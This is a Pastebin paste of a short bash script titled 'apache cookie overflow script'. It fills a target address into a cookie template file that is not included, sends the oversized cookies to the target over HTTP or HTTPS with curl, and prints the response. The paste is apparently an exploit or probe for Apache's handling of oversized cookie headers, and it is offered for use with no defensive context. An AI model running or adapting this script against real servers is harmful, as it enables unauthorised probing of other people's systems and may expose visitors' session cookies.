Advertisement
x1622sec

apache cookie overflow script

Jan 26th, 2016
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.27 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. if [ $# == 0 ] ; then
  4. echo "usage ./apache_cookie_overflow <address> <https|http>"
  5. exit 0
  6. fi
  7.  
  8. cat apache_cookie_overflow.tmp |sed "s/&dns/$1/g" >/tmp/curl_cookie.txt
  9. RESPONSE=$(curl -s -m 2 -b /tmp/curl_cookie.txt $2://$1 -k 2>/dev/null)
  10. echo $RESPONSE
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement